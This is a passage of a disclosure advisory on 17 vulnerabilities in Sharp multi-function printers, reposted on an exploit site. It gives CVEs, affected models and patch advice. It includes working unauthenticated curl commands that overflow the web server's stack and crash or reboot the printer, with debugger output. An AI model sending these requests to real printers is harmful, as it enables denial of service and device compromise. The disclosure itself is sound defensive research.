Latest exploits :: CodePwn

<pre><code>Hello, Please find a text-only version below sent to security mailing lists. The complete version on "17 vulnerabilities in Sharp Multi-Function Printers" is posted here: https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html The text version is also posted here: https://pierrekim.github.io/advisories/2024-sharp-mfp.txt === text-version of the advisory === -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ## Advisory Information Title: 17 vulnerabilities in Sharp Multi-Function Printers Advisory URL: https://pierrekim.github.io/advisories/2024-sharp-mfp.txt Blog URL: https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html Date published: 2024-06-27 Vendors contacted: JPCERT Release mode: Released CVE: CVE-2024-28038, CVE-2024-36251, CVE-2024-28955, CVE-2024-29146, CVE-2024-29978, CVE-2024-32151, CVE-2024-33605, CVE-2024-33610, CVE-2024-33610, CVE-2024-35244, CVE-2024-33616, CVE-2024-34162, CVE-2024-36248 ## Product description > Multifunction printers offer more than just print. These devices integrate the power of a printer, photocopier and scanner into one single device. > > From https://www.sharp.co.uk/printers-photocopiers/explore-sharp-printers/sharp-multifunction-printers ## Vulnerability Summary Vulnerable versions: 308 different models of Sharp Multi-Function Printers (MFP) are vulnerable. It is recommended to visit the official Sharp advisory (https://global.sharp/products/copier/info/info_security_2024-05.html) and apply security patches and replace unsupported Multi-Function Printers (MFP) models. The summary of the vulnerabilities is as follows: 1. CVE-2024-28038 - Memory corruption in the main program - Remote Code Execution against the web server without authentication 2. CVE-2024-36251 - Invalid (0x000000d0) pointer dereference - Remote DoS without authentication 3. CVE-2024-28955, CVE-2024-29146, CVE-2024-29978, CVE-2024-32151 - World-readable coredump files and insecure storage of credentials 4. CVE-2024-33605 - Arbitrary Directory Listing without authentication 5. non-assigned CVE vulnerability - Local File Inclusion allowing to read any file (e.g. Coredump files) without authentication 5.1 Generation of the coredump file on the printer 5.2 Local File Inclusion of the coredump file 5.3 Retrieve of credentials using the coredump files 5.4 Retrieve of credentials using configuration files 6. CVE-2024-33610 - Backdoor webpage - Listing of session cookies without authentication 7. non-assigned CVE vulnerability - Configuration webpages reachable without authentication 8. CVE-2024-33610 - Reboot without authentication - Remote DoS 9. CVE-2024-35244 - Backdoor access - Service 10. non-assigned CVE vulnerability - Backdoor access - FSS User 11. non-assigned CVE vulnerability - Insecure default credentials 12. CVE-2024-33616 - Read admin access on telnet 13. non-assigned CVE vulnerability - XSS on all the Sharp printers (login.html) 14. non-assigned CVE vulnerability - XSS on all the Sharp printers (all other HTML pages) 15. CVE-2024-34162 - Exfiltration of LDAP credentials by downgrading the security 16. CVE-2024-36248 - Hardcoded Google API Keys 17. non-assigned CVE vulnerability - Hardcoded Amazon API Keys 18. N-day CVE-2022-45796 - Remote Code Execution TL;DR: An attacker can compromise Sharp Multi-Function Printers using multiple vulnerabilities. List of vulnerable models of Sharp Multi-Function Printers (308 models): BP-30C25, BP-30C25T, BP-30C25Y, BP-30C25Z, BP-30M35, BP-30M31, BP-30M28, BP-30M35T, BP-30M31T, BP-30M28T, BP-50C36, BP-50C31, BP-50C26, BP-50C65, BP-50C55, BP-50C45, BP-50M36, BP-50M31, BP-50M26, BP-50M55, BP-50M50, BP-50M45, BP-55C26, BP-60C45, BP-60C36, BP-60C31, BP-70C36, BP-70C31, BP-70C65, BP-70C55, BP-70C45, BP-70M36, BP-70M31, BP-70M65, BP-70M55, BP-70M45, BP-90C70, BP-90C80, BP-B547WD, BP-B537WR, BP-B550WD, BP-B540WR, BP-70M90, BP-70M75, MX-M1205, MX-M1055, DX-2500N, DX-2000U, MX-2010U, MX-1810U, MX-2314N, MX-2314NR, MX-2630N, MX-3050N A, MX-3050V A, MX-3100N, MX-3100G, MX-2600N, MX-2600G, MX-3101N, MX-2601N, MX-2301N, MX-3111U, MX-2310U, MX-2310R, MX-3115N, MX-2615N, MX-2615 A, MX-3116N, MX-2616N, MX-3551, MX-3051, MX-2651, MX-3570N, MX-3070N, MX-3570V, MX-3070V, MX-3571, MX-3071, MX-3571S, MX-3071S, MX-3610N, MX-3110N, MX-2610N, MX-3110N A, MX-3610NR, MX-3640N, MX-3140N, MX-2640N, MX-3140N A, MX-3640NR, MX-3140NR, MX-2640NR, MX-4050N, MX-3550N, MX-3050N, MX-4050V, MX-3550V, MX-3050V, MX-4060N, MX-3560N, MX-3060N, MX-4060V, MX-3560V, MX-3060V, MX-4061, MX-3561, MX-3061, MX-4061S, MX-3561S, MX-3061S, MX-5001N, MX-5000N, MX-4101N, MX-4100N, MX-5112N, MX-5111N, MX-5110N, MX-4112N, MX-4111N, MX-4110N, MX-5141N A, MX-4140N A, MX-5141N, MX-5140N, MX-4141N, MX-4140N, MX-6050N, MX-5050N, MX-6050V, MX-5050V, MX-6051, MX-5051, MX-4051, MX-6070N A, MX-4070N A, MX-3070N A, MX-6070N, MX-5070N, MX-4070N, MX-6070V A, MX-4070V A, MX-3070V A, MX-6070V, MX-5070V, MX-4070V, MX-6071, MX-5071, MX-4071, MX-6071S, MX-5071S, MX-4071S, MX-7040N, MX-6240N, MX-7500N, MX-6500N, MX-7580N, MX-6580N, MX-8081, MX-7081, MX-8090N, MX-7090N, MX-B400P, MX-B380P, MX-B401, MX-B381, MX-B402, MX-B382, MX-B402P, MX-B382P, MX-B402SC, MX-B382SC, MX-B455W, MX-B355W, MX-B455WT, MX-B355WT, MX-B455WZ, MX-B355WZ, MX-B456WH, MX-B356WH, MX-B456W, MX-B356W, MX-B476WH, MX-B376WH, MX-B476W, MX-B376W, MX-C301W, MX-C301, MX-C304, MX-C303, MX-C304WH, MX-C303WH, MX-C304W, MX-C303W, MX-C312, MX-C311, DX-C311, DX-C311J, MX-C310, DX-C310, MX-C381, DX-C381, MX-C380, MX-C381B, MX-C400P, MX-C380P, MX-C401, DX-C401, DX-C401 J, MX-C400, DX-C400, MX-C402SC, MX-C382SC, MX-C382SCB, MX-M1204, MX-M1054, MX-M904, MX-M1206, MX-M1056, MX-M2630, MX-M2630 A, MX-M266N, MX-M265N, MX-M265U, MX-M266NV, MX-M265NV, MX-M265UV, MX-M3050 A, MX-M314NV, MX-M264NV, MX-M315NE, MX-M265NE, MX-M315NE, MX-M265NE, MX-M315V, MX-M265V, MX-M354N, MX-M314N, MX-M264N, MX-M354NR, MX-M314NR, MX-M264NR, MX-M354U, MX-M314U, MX-M264U, MX-M3550, MX-M3050, MX-M3551, MX-M3051, MX-M2651, MX-M356N, MX-M316N, MX-M315N, MX-M356U, MX-M315U, MX-M356NV, MX-M316NV, MX-M315NV, MX-M356UV, MX-M315UV, MX-M3570, MX-M3070, MX-M3571, MX-M3071, MX-M3571S, MX-M3071S, MX-M465N A, MX-M365N A, MX-M503N, MX-M453N, MX-M363N, MX-M283N, MX-M503U, MX-M453U, MX-M363U, MX-M564N, MX-M464N, MX-M364N, MX-M564N A, MX-M565N, MX-M465N, MX-M365N, MX-M6050, MX-M5050, MX-M4050, MX-M6051, MX-M5051, MX-M4051, MX-M6070 A, MX-M4070 A, MX-M3070 A, MX-M6070, MX-M5070, MX-M4070, MX-M6071, MX-M5071, MX-M4071, MX-M6071S, MX-M5071S, MX-M4071S, MX-M753N, MX-M753U, MX-M623N, MX-M623U, MX-M754N, MX-M654N, MX-M754N A, MX-M654N A, MX-M7570, MX-M6570, MX-M905. _Miscellaneous notes_: This security assessment was entirely done using a blackbox approach and fully-remote - I only had some IPs of printers (no physical access and no credentials for admin or normal users). Consequently, the physical security of the printers was not analyzed and the vulnerabilities were confirmed with about 15 different models running the latest firmware versions (MX-3060N, MX-3061, MX-3070N, MX-3560N, MX-3561, MX-5070V, MX-5071, MX-C3051R MX-C3081R, MX-M365N, MX-M453U, MX-M465N, MX-M5050, MX-M5051, MX-M6051 and MX-M6071). The vulnerabilities were communicated to JPCERT on June 1, 2023 and communications with JPCERT were very effective - they fully managed interactions with Sharp. _Impacts_ An attacker can compromise Sharp multi-function printers (MFP) and execute code. These printers are running Linux and are powerful. They are ideal to host implants (and fun programs, like Bettercap) and move laterally inside infrastructures. _Recommendations_ - - Use network segmentation to isolate MFPs. - - Apply security patches. - - Replace unsupported MFPs. ## Details - Memory corruption in the main program - Remote Code Execution against the web server without authentication By Default, Sharp printers are using a single super-program that will run as root and provide network daemons (ftp, http, snmp, raw-printer-9100, ...). This single program is vulnerable to a stack-based buffer overflow without authentication. This `main` program runs as root and its HTTP stack is vulnerable, without authentication, to a stack-based buffer overflow, allowing an attacker to redirect the control flow of the program and achieve remote code execution. `main` program listening on port 80/tcp: sh-4.3# ps -auxww | grep main root 1186 6.3 5.3 2124656 172688 ? Sl 00:27 43:36 /tmp/app/ui/ui_mainview -hidecursor root 2081 3.9 10.9 2515532 348980 ? Sl 00:27 26:52 /tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk root 13598 0.0 0.0 1980 368 pts/0 S+ 11:49 0:00 grep main sh-4.3# netstat -laputen | grep main tcp 0 0 0.0.0.0:50001 0.0.0.0:* LISTEN 0 10217 2081/main tcp6 0 0 :::443 :::* LISTEN 0 12538 2081/main tcp6 0 0 :::52000 :::* LISTEN 0 33214 2081/main tcp6 0 0 :::10080 :::* LISTEN 0 18542 2081/main tcp6 0 0 :::515 :::* LISTEN 0 10166 2081/main tcp6 0 0 :::53000 :::* LISTEN 0 12539 2081/main tcp6 0 0 :::10443 :::* LISTEN 0 18545 2081/main tcp6 0 0 :::5900 :::* LISTEN 0 33233 2081/main tcp6 0 0 :::9100 :::* LISTEN 0 12534 2081/main tcp6 0 0 :::80 :::* LISTEN 0 12537 2081/main tcp6 0 0 :::21 :::* LISTEN 0 10164 2081/main tcp6 0 0 :::631 :::* LISTEN 0 10168 2081/main udp 0 0 127.0.0.1:9473 0.0.0.0:* 0 13202 2081/main udp6 0 0 :::5353 :::* 0 12497 2081/main udp6 0 0 :::161 :::* 0 33229 2081/main udp6 0 0 :::546 :::* 0 33145 2081/main sh-4.3# By default, the printer will provide a MFPSESSIONID cookie when reaching the printer with a browser as shown below. This cookie will then be used for authentication purposes if the user decides to log into the printer. For example, with a HTTP request to /main.html: kali% curl -kv http://10.0.0.1/main.html | head % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 10.0.0.1:80... * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0) > GET /main.html HTTP/1.1 > Host: 10.0.0.1 > User-Agent: curl/7.88.1 > Accept: */* > < HTTP/1.1 200 OK < Server: Rapid Logic/1.1 < MIME-version: 1.0 < Date: Thu Jan 1 02:32:35 1970 GMT < Content-Type: text/html; charset=UTF-8 < Transfer-Encoding: chunked < Connection: close < Pragma: no-cache < Cache-Control: no-cache < X-Frame-Options: DENY < Set-Cookie: MFPSESSIONID=020015D2C59E7B68C9FB5F411B0E59FCBEF70F7E03CEE4C4C5A12023051115051847BC555A < Extend-sharp-setting-status: 0 < { [2 bytes data] <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=320,initial-scale=1.0" /> <meta name="format-detection" content="telephone=no" /> <meta http-equiv="X-UA-Compatible" content="IE=8; IE=10; IE=11" /> <title>Machine Identification - MX-M6071</title> <link rel="stylesheet" href="other.css" type="text/css" /> <link rel="stylesheet" href="color1.css" type="text/css" /> * Failure writing output to destination * Failed reading the chunked-encoded stream 100 6950 0 6950 0 0 196k 0 --:--:-- --:--:-- --:--:-- 199k * Closing connection 0 curl: (23) Failure writing output to destination kali% By sending a malicious HTTP request with a long MFPSESSIONID cookie, it is possible to overwrite the stack of the main program. This payload will send a MFPSESSIONID cookie with a payload of 643 bytes. This payload will overwrite a stack buffer inside the main program. The buffer is probably 639 bytes and `EDBB` will overwrite the stack: kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html * Trying 10.0.0.1:80... * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0) > GET /system.html HTTP/1.1 > Host: 10.0.0.1 > User-Agent: curl/7.88.1 > Accept: */* > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB > If /system.html does not exist, it is possible to use /main.html or any existing html webpage instead: kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/main.html * Trying 10.0.0.1:80... * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0) > GET /system.html HTTP/1.1 > Host: 10.0.0.1 > User-Agent: curl/7.88.1 > Accept: */* > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB > If the first exploitation does not work, it is possible to resend it again to overwrite the stack the second time: kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html * Trying 10.0.0.1:80... * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0) > GET /system.html HTTP/1.1 > Host: 10.0.0.1 > User-Agent: curl/7.88.1 > Accept: */* > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html * Trying 10.0.0.1:80... * Connected to 10.0.0.1 (10.0.0.1) port 80 (#0) > GET /system.html HTTP/1.1 > Host: 10.0.0.1 > User-Agent: curl/7.88.1 > Accept: */* > Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB The `dmesg` output on the printer will confirm that the main program crashed while trying to reach the address 0x42434445, corresponding to the previous `EDCB` sent inside the cookie. `EDCB` is represented in the little-endian format as ARM is little-endian and 0x42434445 can be found inside several registers (but not PC). output of `dmesg`: [ 127.970220] main[15612]: unhandled level 2 translation fault (11) at 0x42434445, esr 0x92000006 [ 127.979463] pgd = ffff80007a07e000 [ 127.982981] [42434445] *pgd=00000000fa099003, *pud=00000008c6f9d003, *pmd=0000000000000000 [ 127.992811] CPU: 1 PID: 15612 Comm: main Tainted: P O 4.1.46-rt52 #2 [ 128.000296] Hardware name: LS1043A MFP Board (DT) [ 128.005195] task: ffff8008372c69c0 ti: ffff80083dde0000 task.ti: ffff80083dde0000 [ 128.012710] PC is at 0x20d4ff8 [ 128.015761] LR is at 0x2a0 [ 128.018465] pc : [<00000000020d4ff8>] lr : [<00000000000002a0>] pstate: 900f0010 [ 128.026024] sp : 000000008f12f7c0 [ 128.029335] x12: 0000000042434445 [ 128.032981] x11: 000000008fd45008 x10: 0000000000000001 [ 128.038298] x9 : 0000000091247bf8 x8 : 000000008fd5648c [ 128.043678] x7 : 0000000000000000 x6 : 000000008fd56c58 [ 128.048996] x5 : 000000008fd569bc x4 : 0000000008b90bdc [ 128.054388] x3 : 0000000042434445 x2 : 0000000042434445 [ 128.059834] x1 : 000000008fd569b8 x0 : 0000000000000001 On the printer, using GDB, we will confirm the main program crashed and the stack has been successfully corrupted: sh-4.3# ps -auxww|grep main root 1186 9.7 4.9 2123632 158080 ? Sl 11:31 0:21 /tmp/app/ui/ui_mainview -hidecursor root 2023 7.8 9.8 2505880 316360 ? Sl 11:31 0:15 /tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk root 26544 0.0 0.0 1980 376 pts/0 S+ 11:34 0:00 grep main sh-4.3# gdb -p 2023 GNU gdb (GDB) 7.10.1.20160210-cvs warning: File "/lib/libthread_db-1.0.so" auto-loading has been declined by your `auto-load safe-path' set to "$debugdir:$datadir/auto-load". warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available. 0xf744f1c4 in pthread_join () from /lib/libpthread.so.0 (gdb) c ... [LWP 32749 exited] [New LWP 32750] [New LWP 32751] [LWP 32751 exited] [New LWP 32752] ... [New LWP 27196] [LWP 27196 exited] [New LWP 27197] Program received signal SIGSEGV, Segmentation fault. [Switching to LWP 27195] 0x020d4ff8 in ?? () (gdb) bt #0 0x020d4ff8 in ?? () #1 0x000002a0 in ?? () Backtrace stopped: previous frame identical to this frame (corrupt stack?) (gdb) info reg r0 0x1 1 r1 0x903e0ec8 2419986120 r2 0x42434445 1111704645 r3 0x42434445 1111704645 r4 0x8b90bdc 146344924 r5 0x903e0ecc 2419986124 r6 0x903e1168 2419986792 r7 0x0 0 r8 0x903e082c 2419984428 r9 0x918ddcb8 2441993400 r10 0x1 1 r11 0x903db008 2419961864 r12 0x42434445 1111704645 sp 0x72231fc0 0x72231fc0 lr 0x2a0 672 pc 0x20d4ff8 0x20d4ff8 cpsr 0x90050010 -1878720496 (gdb) info frame Stack level 0, frame at 0x72231fc0: pc = 0x20d4ff8; saved pc = 0x2a0 called by frame at 0x72231fc0 Arglist at 0x72231fc0, args: Locals at 0x72231fc0, Previous frame's sp is 0x72231fc0 (gdb) There is no ASLR in the `main` program; the addresses are always identical therefore exploitation is very likely. Exploitation was not attempted since no enough time was allocated to develop such exploit during this security assessment and I already had a remote shell as root on the printers. Sharp confirmed that exploitation is possible. An attacker with a RCE vulnerability can then move laterally and use Wifi to exfiltrate information: bash-4.3# iwlist ath0 scan ath0 Scan completed : Cell 01 - Address: 00:3C:10:01:02:03 ESSID:"[REDACTED]" Mode:Master Frequency:2.412 GHz (Channel 1) Quality=93/94 Signal level=-54 dBm Noise level=-95 dBm Encryption key:off Bit Rates:12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s; 48 Mb/s 54 Mb/s Extra:bcn_int=100 bash-4.3# ## Details - Invalid (0x000000d0) pointer dereference - Remote DoS without authentication It was observed that the `/billcodedef_sub_sel.html` webpage is reachable without authentication on Sharp printers. A specific request to this webpage will trigger an invalid pointer deference in the main program. The printer will then reboot after creating coredump files. [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] When submitting the request with the Sub Code `test` by pressing `Search Start(Q)`, the HTTP request will be: HTTP request using the HTML form from `billcodedef_sub_sel.html`: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] It is possible to modify the HTTP request to change `curr_page_url=%2Fbillcodedef_sub_sel.html` to `curr_page_url=%2Fbillcodedef_sub_sel.html?`. A question mark was added after `billcodedef_sub_sel.html`. The resulting request will be: [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html] The corresponding malicious HTTP request to trigger the DoS is: POST /billcodedef_sub_sel.html? HTTP/1.1 Host: 10.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 406 Origin: http://10.0.0.1 Connection: close Referer: http://10.0.0.1/billcodedef_sub_sel.html? Cookie: MFPSESSIONID=020035B15A47378CF80C6175263F714EEF9118E72A1AA6C9CAC6202305181146331E5FF54; sideBarflag=1 Upgrade-Insecure-Requests: 1 billing_code_def_selWebchg=&action=searchbtn&ordinate=0&token2=AEC039F52DC886D169AC7F977F61D4C61295539BC0A3572B08E37FB291B9A766E238FB699426F67B&ggt_textbox%288%29=test&ggt_textbox%2811%29=&ggt_select%2829%29=1&billing_radio=2%2C&BillingCode%282%2C%29=Not+Set&BillingCodeName%28%29=&ggt_hidden%2839%29=0&ggt_hidden%2840%29=1&ggt_hidden%2844%29=&curr_page_url=%2Fbillcodedef_sub_sel.html?&selBillingCodeName= We can also reproduce the issue using curl: kali% curl -i -s -k -X $'POST' -H $'Host: 10.0.0.1' --data-binary 'curr_page_url=%2Fbillcodedef_sub_sel.html?' 'http://10.0.0.1/billcodedef_sub_sel.html' On the printer, we can see a crash: [ 9914.440518] main[18602]: unhandled level 3 translation fault (11) at 0x000000d0, esr 0x92000007 [ 9914.453538] pgd = ffff80082f408000 [ 9914.456936] [000000d0] *pgd=00000000f9ea6003, *pud=00000000f9f6e003, *pmd=00000000f9c0f003, *pte=0000000000000000 [ 9914.468751] CPU: 1 PID: 18602 Comm: main Tainted: P O 4.1.46-rt52 #2 [ 9914.476433] Hardware name: LS1043A MFP Board (DT) [ 9914.481138] task: ffff80083de6c680 ti: ffff80082cb20000 task.ti: ffff80082cb20000 [ 9914.488691] PC is at 0x228fe6c [ 9914.491744] LR is at 0x228f820 [ 9914.494830] pc : [<000000000228fe6c>] lr : [<000000000228f820>] pstate: 600f0010 [ 9914.502227] sp : 000000007212fd70 [ 9914.505539] x12: 00000000ffffffff [ 9914.508939] x11: 000000007212fdb0 x10: 0000000000000001 [ 9914.514367] x9 : 0000000091170990 x8 : 0000000000000002 [ 9914.519683] x7 : 000000007212fd88 x6 : 0000000091172799 [ 9914.525102] x5 : 0000000000000000 x4 : 0000000000000000 [ 9914.530417] x3 : 0000000000000000 x2 : 000000007212fdd0 [ 9914.535764] x1 : 0000000000000061 x0 : 0000000000000000 [ 9914.543566] [BSPIF]bspif_pof_wait:signal receive(-512) [ 9914.548702] [BSPIF]bspif_pof_wait: [ 9988.116784] Panic : Oops Exit !!! [comm:irq/20-serial] [user_mode:0] With the creation of the corresponding coredump files: sh-4.3# cd /mnt/log && ls -latr [...] -rw-r--r-- 1 root root 19133981 May 18 11:48 core-main.log.gz.001 -rw-r--r-- 1 root root 0 May 18 11:48 ERR_IFS.log -rw-r--r-- 1 root root 19133981 May 18 11:48 ERR_core-main.log.gz -rw-r--r-- 1 root root 97230 May 18 11:48 ERR_kern.log -rw-r--r-- 1 root root 0 May 18 11:48 ERR_core-pdl.log.gz -rw-r--r-- 1 root root 0 May 18 11:48 ERR_log_ui_mainview.log -rw-r--r-- 1 root root 21262 May 18 11:48 ERR_pdl.log -rw-r--r-- 1 root root 315 May 18 11:48 ERR_nf.log -rw-r--r-- 1 root root 314620 May 18 11:48 ERR_main.log -rw-r--r-- 1 root root 97363 May 18 11:48 kern.log.001 -rw-r--r-- 1 root root 18653 May 18 11:48 vmstat.log.001 -rw-r--r-- 1 root root 377 May 18 11:48 umount.log.001 -rw-r--r-- 1 root root 1861 May 18 11:48 slinkerr1.log -rw-r--r-- 1 root root 4582 May 18 11:48 slinkerr0.log -rw-r--r-- 1 root root 45625 May 18 11:48 watch_idle.log -rw-r--r-- 1 root root 314692 May 18 11:49 main.log -rw-r--r-- 1 root root 132 May 18 11:49 bsp.log -rw-r--r-- 1 root root 96435 May 18 11:49 kern.log -rw-r--r-- 1 root root 407 May 18 11:49 vmstat.log sh-4.3# date Thu May 18 11:50:40 UTC 2023 sh-4.3# uptime 11:51:55 up 3 min, 0 users, load average: 1.36, 0.95, 0.40 sh-4.3# ## Details - World-readable coredump files and insecure storage of credentials It was observed that the coredump files located in the Sharp printers have incorrect permissions. Any local user can read them. These coredump files contain all the clear-text credentials of the users. Core files present in /mnt/log: sh-4.3# ls -la /mnt/log | grep core -rw-r--r-- 1 root root 16120921 May 11 15:18 ERR_core-main.log.gz -rw-r--r-- 1 root root 0 May 11 15:18 ERR_core-pdl.log.gz -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz.001 -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz.002 -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz.001 -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz.002 -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-bcr_iface.log.gz -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-bcr_iface.log.gz.001 -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-bcr_iface.log.gz.002 -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-main.log.gz -rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-main.log.gz.001 ... -rw-r--r-- 1 root root 0 Jan 1 2000 core-main.log.gz -rw-r--r-- 1 root root 16120921 May 11 15:18 core-main.log.gz.001 -rw-r--r-- 1 root root 13566117 May 11 15:16 core-main.log.gz.002 -rw-r--r-- 1 root root 17158453 May 11 15:12 core-main.log.gz.003 -rw-r--r-- 1 root root 17332354 May 11 12:32 core-main.log.gz.004 -rw-r--r-- 1 root root 20440117 May 11 12:28 core-main.log.gz.005 -rw-r--r-- 1 root root 22170528 May 10 11:47 core-main.log.gz.006 -rw-r--r-- 1 root 